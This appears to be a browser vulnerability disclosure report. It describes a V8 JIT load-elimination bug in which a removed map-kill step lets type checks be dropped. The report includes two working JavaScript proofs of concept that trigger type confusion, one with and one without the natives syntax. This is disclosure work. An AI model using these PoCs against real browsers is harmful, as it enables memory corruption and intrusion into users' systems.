Chrome: V8: JIT: A bug in LoadElimination::ReduceTransitionElementsKind I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) { ... if (object_maps.contains(ZoneHandleSet(source_map))) { object_maps.remove(source_map, zone()); object_maps.insert(target_map, zone()); - AliasStateInfo alias_info(state, object, source_map); - state = state->KillMaps(alias_info, zone()); - state = state->AddMaps(object, object_maps, zone()); + state = state->SetMaps(object, object_maps, zone()); } ... } I think the "state->KillMaps(alias_info, zone());" accidentally was removed. This lack may lead CheckMap instructions to be removed incorrectly. A PoC demonstrating type confusion: function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; // CheckMap removed, type confusion b[0] = 9.431092e-317; // 0x1234567 } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); %OptimizeFunctionOnNextCall(opt); opt(arr2, arr2); arr2[0].x // access 0x1234566 Without natives syntax: function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; b[0] = 9.431092e-317; // 0x1234567 // Force optimization for (let i = 0; i < 10000000; i++) { } } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); opt(arr2, arr2); arr2[0].x // access 0x1234566 This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt
